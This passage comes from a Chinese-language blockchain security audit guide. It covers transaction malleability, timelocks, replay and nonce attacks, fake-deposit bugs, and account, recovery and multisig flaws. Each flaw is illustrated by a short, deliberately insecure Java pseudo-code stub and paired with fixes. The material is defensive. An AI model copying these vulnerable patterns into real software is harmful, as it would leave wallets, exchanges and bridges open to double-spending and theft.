class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>必须严格检查<strong>调用方权限</strong>；</li><li>对关键函数加“仅管理员/白名单”修饰；</li><li>建议使用多重签名或角色访问控制（RBAC）方案。</li></ol></li></ul><h4 id="A3-交易可锻造性与延展性审计">A3. 交易可锻造性与延展性审计</h4><ul><li><p><strong>Description</strong></p><p>可锻造性（Malleability）：指交易的某些字段（特别是签名部分）可以在不改变交易实际含义（输入输出）的情况下被修改，导致交易哈希（TXID）变化。<br>常见原因：</p><ol><li>ECDSA可延展：在签名过程中，(r,s)的 s 值可被转换为 (r, -s mod n)，产生等效签名；</li><li>脚本签名中可选字段：UTXO脚本里若有额外可变信息，可能被攻击者插入注释或无关数据；</li><li>多种序列化方式：在比特币早期，一些脚本/签名字段的解析不统一。<br>典型案例:</li></ol><ul><li>比特币双花（Mt.Gox事件）：2014年时期，攻击者可利用交易可锻造性改变交易哈希，使交易所后台认为用户提现交易“未确认”，而实际上已经完成，从而导致交易所再次放币，形成双花。</li><li>以太坊账户模型：虽然不像UTXO那样对脚本签名依赖度高，但仍可能因为签名S值不规范或输入数据可变，导致相似的哈希变动。</li></ul></li><li><p><strong>Cause Analysis</strong></p><p>ECDSA 签名可锻造；或对交易中脚本签名可修改的数据未做严格校验。</p></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>攻击者可重复利用原交易，让TXID变化，导致上层应用（钱包、交易所）出现重复广播、双花或误判交易状态。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 伪示例：交易序列化后再做hash</span></span><br><span class="line"><span class="comment">// 若签名可延展，得到的hash值就会不同</span></span><br><span class="line"><span class="comment">// 可能导致节点在验证时认为是不同交易</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对签名进行标准化：<ul><li>对 ECDSA 的 s 值采用“低 s”策略 (s &lt;= n/2)；</li><li>使用 BIP66、BIP143 等改进，使脚本签名更可控；</li><li>以太坊端可做 EIP-2 或 EIP-155 之类签名规则校正。</li></ul></li><li>减少可变字段：<ul><li>交易脚本或输入数据中，尽量避免可选或不必要的填充；</li><li>使用隔离见证（SegWit）机制减少签名可被更改的部分。</li></ul></li><li>应用层防护：<ul><li>上层钱包/交易所要以输出地址与金额的最终确认为准，而非只看TXID；</li><li>设置TXID白名单或检测重复交易，防止多次计账。</li></ul></li></ol></li></ul><h4 id="A4-交易时间锁定攻击审计">A4. 交易时间锁定攻击审计</h4><ul><li><p><strong>Description</strong></p><p>一些交易可能带有时间锁（TimeLock），如 nLocktime 或合约级时间锁。如果时间锁处理不当，攻击者可能利用不一致的时间判断触发过早或过晚执行。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点对时间或区块高度判断不一致；</li><li>合约中的时间戳依赖系统时间而非区块时间；</li><li>攻击者可提前或延迟广播交易。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>本应被锁定的资金在预期之外被花费；</li><li>业务逻辑依赖的时间条件不准确导致争议。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TimeLockContract</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> lockedUntil;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">withdraw</span><span class="params">(String user, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果以System.currentTimeMillis()判断锁定时间</span></span><br><span class="line">        <span class="comment">// 而不是区块时间，攻击者可调快本地时间</span></span><br><span class="line">        <span class="keyword">if</span> (System.currentTimeMillis() &gt;= lockedUntil) &#123;</span><br><span class="line">            <span class="comment">// 允许提取</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>依赖区块高度或区块时间戳，而非节点本地时间；</li><li>确保所有节点对时间锁的验证逻辑一致；</li><li>测试各种边界情况（时间锁刚到、区块时间偏差等）。</li></ol></li></ul><h4 id="A5-交易一致性检查">A5. 交易一致性检查</h4><ul><li><p><strong>Description</strong></p><p>交易一致性通常指同一笔交易在节点的不同阶段（打包、验证、回放等）应保持相同结果。如未保证一致性，可能在打包时成功、在验证时失败。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>不同模块或节点版本实现不一致；</li><li>依赖外部数据源导致运行时结果不同。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>节点分叉；</li><li>部分节点拒绝包含此交易的区块。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransactionManager</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">checkTxAtMempool</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 只做简单检查</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">checkTxAtBlockValidation</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 做了更严格的规则</span></span><br><span class="line">        <span class="keyword">return</span> tx.getFee() &gt;= <span class="number">1000</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>确保交易从进入内存池（mempool）到打包到区块、再到验证执行的逻辑一致；</li><li>严格统一各阶段的验证标准；</li><li>避免依赖外部随机数据或系统环境差异。</li></ol></li></ul><h4 id="A6-交易回滚审计">A6. 交易回滚审计</h4><ul><li><p><strong>Description</strong></p><p>合约或链上操作失败时应回滚交易，但若逻辑未严格回滚或部分状态更新被漏掉，就可能形成“不完整”的交易状态。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>业务逻辑中仅对部分操作做 try-catch；</li><li>多合约间调用出现异常但未统一回滚；</li><li>使用低级调用或 inline assembly 绕过了自动回滚机制。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>“假充值”或状态不一致等严重问题；</li><li>攻击者可利用异常分支完成资金窃取。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">multiContractCall</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">boolean</span> <span class="variable">resultA</span> <span class="operator">=</span> callContractA();</span><br><span class="line">    <span class="comment">// 如果失败却未回滚</span></span><br><span class="line">    <span class="type">boolean</span> <span class="variable">resultB</span> <span class="operator">=</span> callContractB();</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>保证合约之间调用失败时回滚全部操作（原子性）；</li><li>加强异常处理并在一个统一的逻辑层做事务管理；</li><li>对可能失败的操作使用 <code>require</code>、<code>revert</code>（Solidity）或相应的回滚机制。</li></ol></li></ul><h4 id="A7-交易顺序依赖性检查">A7. 交易顺序依赖性检查</h4><ul><li><p><strong>Description</strong></p><p>交易顺序依赖性是指不同交易或同一交易的不同步骤对执行顺序敏感。如果节点处理顺序不一致或存在交易排序攻击（如 MEV），就会导致不同结果。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>交易执行存在全局变量或外部依赖；</li><li>区块打包者可以重排交易顺序以获利（矿工可见性）。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>出现竞价交易、抢跑交易（front-running）；</li><li>交易逻辑被矿工操纵顺序，产生意外结果。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DEXContract</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">swap</span><span class="params">(String tokenA, String tokenB, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="comment">// 若依赖本合约中上一个交易的执行结果</span></span><br><span class="line">        <span class="comment">// 矿工可将自己交易插到前面影响价格</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在业务逻辑层减少对状态的可变依赖；</li><li>对需要固定顺序的交易，使用队列或 nonce 强制执行顺序；</li><li>设计防止前置/后置交易攻击的机制（如基于批量结算）。</li></ol></li></ul><h4 id="A8-交易费用机制审计">A8. 交易费用机制审计</h4><ul><li><p><strong>Description</strong></p><p>不合理或易被操控的手续费机制，可能导致矿工无法获得足够收益、或出现过低/过高费率攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>采用固定费率，无法应对网络拥堵；</li><li>缺少最低手续费限制，导致垃圾交易泛滥；</li><li>动态费率算法易被操纵。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>网络内充斥大量低费交易，降低交易确认效率；</li><li>矿工/验证者收入难以保障，影响安全性。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FeePolicy</span> &#123;</span><br><span class="line">    <span class="comment">// 若只根据交易大小固定收取 1 Gas，无法动态调整</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">FIXED_FEE</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>采用与网络负载挂钩的动态费率算法（如 EIP-1559）；</li><li>设定最低费用门槛；</li><li>定期评估手续费算法对交易吞吐与安全性的影响。</li></ol></li></ul><h3 id="B-重放攻击防护">B. 重放攻击防护</h3><h4 id="B1-本地链交易重放攻击">B1. 本地链交易重放攻击</h4><ul><li><p><strong>Description</strong></p><p>在同一条链上，如果系统未校验交易是否已执行或超时，旧交易可能被再次提交并执行。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对交易哈希或 nonce 做跟踪；</li><li>未设置过期块高度或有效期。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>造成双花或余额重复消耗。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LocalReplay</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processTx</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 未记录txId是否处理过</span></span><br><span class="line">        execute(tx);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用 nonce 或唯一序号，若已见过则拒绝；</li><li>交易在指定块高度后失效；</li><li>在数据库中标记已处理的交易 ID。</li></ol></li></ul><h4 id="B2-异构链交易重放攻击">B2. 异构链交易重放攻击</h4><ul><li><p><strong>Description</strong></p><p>攻击者将某条链上的交易，原封不动地放到另一个使用相同签名算法/格式的链上，若该链未区分链 ID，可能接受该交易。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>没有在交易结构中包含链 ID 或签名防护；</li><li>目标链与源链使用相同公私钥体系。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>在不同网络意外地花费同样的资产或执行同样的操作。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrossChainReplay</span> &#123;</span><br><span class="line">    <span class="comment">// 如果交易结构里没有chainId字段</span></span><br><span class="line">    <span class="comment">// 另一条链看到也能验证签名并执行</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在交易签名或结构中包含唯一的 chainId 字段；</li><li>同一套公私钥体系最好在不同链上区分 nonce 或地址前缀；</li><li>跨链时进行额外验证（如多签、门限签名等）。</li></ol></li></ul><h4 id="B3-nonce-安全检查">B3. nonce 安全检查</h4><ul><li><p><strong>Description</strong></p><p>如果不校验 nonce 或者nonce逻辑实现有漏洞，可导致交易被重放或顺序混乱。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未在账户模型中存储并比对 nonce；</li><li>允许重复 nonce 或跳号 nonce。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>重放攻击；</li><li>破坏交易执行顺序，影响业务逻辑。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NonceChecker</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleTx</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 仅检查签名，不校验nonce</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在账户表中记录当前 nonce，接受交易时必须 nonce == currentNonce；</li><li>交易成功后 nonce++；</li><li>拒绝过小或过大太多的 nonce。</li></ol></li></ul><h4 id="B4-跨链交易重放防护">B4. 跨链交易重放防护</h4><ul><li><p><strong>Description</strong></p><p>在跨链桥或跨链通信中，如果未对来源链的交易或证明进行一次性使用限制，可能被反复重放。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>仅验证交易的签名或哈希，但没有在目标链上记录已使用过；</li><li>跨链桥未保留处理过的跨链事件 ID。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>造成多次释放或映射资产，多次执行同一跨链操作。</p></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrossChainBridge</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">receiveProof</span><span class="params">(CrossChainProof proof)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只检查签名正确，就进行资产释放</span></span><br><span class="line">        <span class="comment">// 未记录 proofId 是否已处理过</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>目标链上保存跨链事件 ID 并标记已执行的事件；</li><li>进行一次性验证后立即作废该事件；</li><li>若重复出现相同事件 ID，则拒绝处理。</li></ol></li></ul><h3 id="C-假充值漏洞">C. 假充值漏洞</h3><h4 id="C1-原生特性假充值漏洞">C1. 原生特性假充值漏洞</h4><ul><li><p><strong>Description</strong></p><p>利用区块链本身的交易机制或UTXO特性，如果对失败交易、孤块交易、分叉等情况处理不当，就可能被误判为成功充值。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>交易所只看到了交易广播，但未等待足够区块确认；</li><li>孤块或短暂分叉中的交易会被回滚，但交易所却已记账。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>用户利用孤块交易来实现“假充值”，兑换出真正的资产后再跑路。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ExchangeDeposit</span> &#123;</span><br><span class="line">    <span class="comment">// 如果只要检测到某笔交易在 mempool 或 1 个区块中出现</span></span><br><span class="line">    <span class="comment">// 就给用户记账</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>等待多确认（如6个区块确认）后再记账；</li><li>检查区块链最终状态（长链）；</li><li>对异常分叉或回滚交易进行处理并更新记录。</li></ol></li></ul><h4 id="C2-基于合约调用的假充值漏洞">C2. 基于合约调用的假充值漏洞</h4><ul><li><p><strong>Description</strong></p><p>在智能合约调用中，若合约内部调用失败却不触发整体回滚，外部却依旧把这笔调用视为成功，会造成余额不真实增加。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未使用 <code>revert</code> 或 <code>throw</code> 等回滚机制；</li><li>合约逻辑中只更新一部分状态，另一部分失败。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>最典型的“假充值”场景；交易所或业务系统被欺骗。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DepositContract</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">deposit</span><span class="params">(address user, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">success</span> <span class="operator">=</span> transferFrom(user, <span class="built_in">this</span>, amount);</span><br><span class="line">        <span class="comment">// 如果 success == false 却没回滚</span></span><br><span class="line">        <span class="comment">// 仍然 balance[user] += amount</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在合约中对任何失败调用都执行回滚；</li><li>统一检查返回值是否为 true；</li><li>交易所侧要获取合约执行结果和事件日志确认真正成功。</li></ol></li></ul><h4 id="C3-跨链桥假充值漏洞">C3. 跨链桥假充值漏洞</h4><ul><li><p><strong>Description</strong></p><p>在跨链桥中，如果跨链消息或锁定资产并没有真实生效，却被目标链信任为成功，容易形成假充值。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>仅在源链生成锁定事件，但实际未锁定；</li><li>目标链缺乏对源链区块或事件的验证机制。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>攻击者伪造跨链锁定消息，在目标链获得映射代币后提走，但源链并未真正锁定。</p></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrossChainLock</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">lockOnSourceChain</span><span class="params">(String user, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="comment">// 仅写个event &quot;Locked(user, amount)&quot;</span></span><br><span class="line">        <span class="comment">// 实际并未锁定</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>目标链需要验证源链区块头；</li><li>采用多重签名或可信中继；</li><li>锁定资产必须在源链真实冻结后才发出映射代币。</li></ol></li></ul><h3 id="D-账户安全">D. 账户安全</h3><h4 id="D1-非法地址检查">D1. 非法地址检查</h4><ul><li><p><strong>Description</strong></p><p>区块链系统中，有些地址可能是格式无效或黑名单地址。如若系统不做任何合法性过滤，就会导致后续交易失败或出现灰色资金流动。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>地址格式检查不完善；</li><li>未检查是否在国际制裁名单或链上黑名单中。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>可能导致与无效地址交易，资金无法找回；</li><li>合规风险（如制裁名单地址仍可使用）。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AddressValidator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValidAddress</span><span class="params">(String addr)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果仅简单判断长度而不校验格式</span></span><br><span class="line">        <span class="keyword">return</span> addr.length() == <span class="number">42</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对地址做严格的校验（校验前缀、校验校验和等）；</li><li>对敏感或被拉黑地址进行拦截；</li><li>系统上线前建立合规性策略和名单。</li></ol></li></ul><h4 id="D2-交易锁定攻击">D2. 交易锁定攻击</h4><ul><li><p><strong>Description</strong></p><p>在账户模型下，如果存在对账户或特定代币的“锁定”机制，攻击者可能滥用该功能，恶意锁定别人的资产。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>合约或系统提供了锁定操作，但未限制执行者；</li><li>没有提供解锁条件或解锁流程异常复杂。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>用户资金被非法冻结；</li><li>系统需要人工干预才能恢复。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LockableToken</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Boolean&gt; locked = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">lock</span><span class="params">(String addr)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果任何人都可以lock(addr)</span></span><br><span class="line">        locked.put(addr, <span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>将锁定功能仅限管理员或多签权限；</li><li>明确解锁条件、自动解锁流程；</li><li>加强审计锁定和解锁操作的记录。</li></ol></li></ul><h4 id="D3-账户恢复机制">D3. 账户恢复机制</h4><ul><li><p><strong>Description</strong></p><p>有些钱包或合约提供“账户恢复”功能，一旦验证不严，就可被冒充主人申请恢复，进而获取控制权。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>恢复流程中身份验证过于简单；</li><li>仅通过邮件或短信等易被劫持的方式恢复。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>攻击者可冒充账户持有人，取得资产控制权。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AccountRecovery</span> &#123;</span><br><span class="line">    <span class="comment">// 若只要知道用户邮箱就可以reset password</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">requestReset</span><span class="params">(String email)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>采用多重签名或社交恢复方案；</li><li>恢复过程需要多方验证或链上时间锁；</li><li>加强对恢复事件的审计和提醒（短信/邮件/二次验证）。</li></ol></li></ul><h4 id="D4-多重签名实现">D4. 多重签名实现</h4><ul><li><p><strong>Description</strong></p><p>多重签名是常见的安全机制，但实现不当（如对阈值或签名者身份检查不严）也会带来风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>多签合约中未校验签名者是否在白名单内；</li><li>签名计数或阈值逻辑有漏洞，可被少数人绕过。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><p>部分签名者可越权执行操作，或攻击者冒名顶替签名者进行关键操作。</p></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiSigWallet</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; owners;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> required;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">(Transaction tx, List&lt;String&gt; sigs)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果仅检查sigs数量，不验证签名者是否在owners中</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>校验签名者的地址必须在 owners 列表中；</li><li>检查签名的有效性以及数量是否达到阈值；</li><li>部署前充分测试多重签名流程，防止逻辑漏洞。</li></ol></li></ul><h4 id="D5-账户权限管理">D5. 账户权限管理</h4><ul><li><p><strong>Description</strong></p><p>账户权限管理指针对不同功能或资源进行分级访问控制，如果未设计或实现好，会导致任意用户或低权限账户能访问高权限资源。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>权限系统设计疏漏；</li><li>缺乏管理员、审计员、普通用户等角色区分。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>重要合约被任意调用；</li><li>用户之间权限混乱。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RoleBasedContract</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">enum</span> <span class="title class_">Role</span> &#123; ADMIN, USER &#125;</span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Role&gt; roles;</span><br><span class="line"></span><br><span class="line">    <span 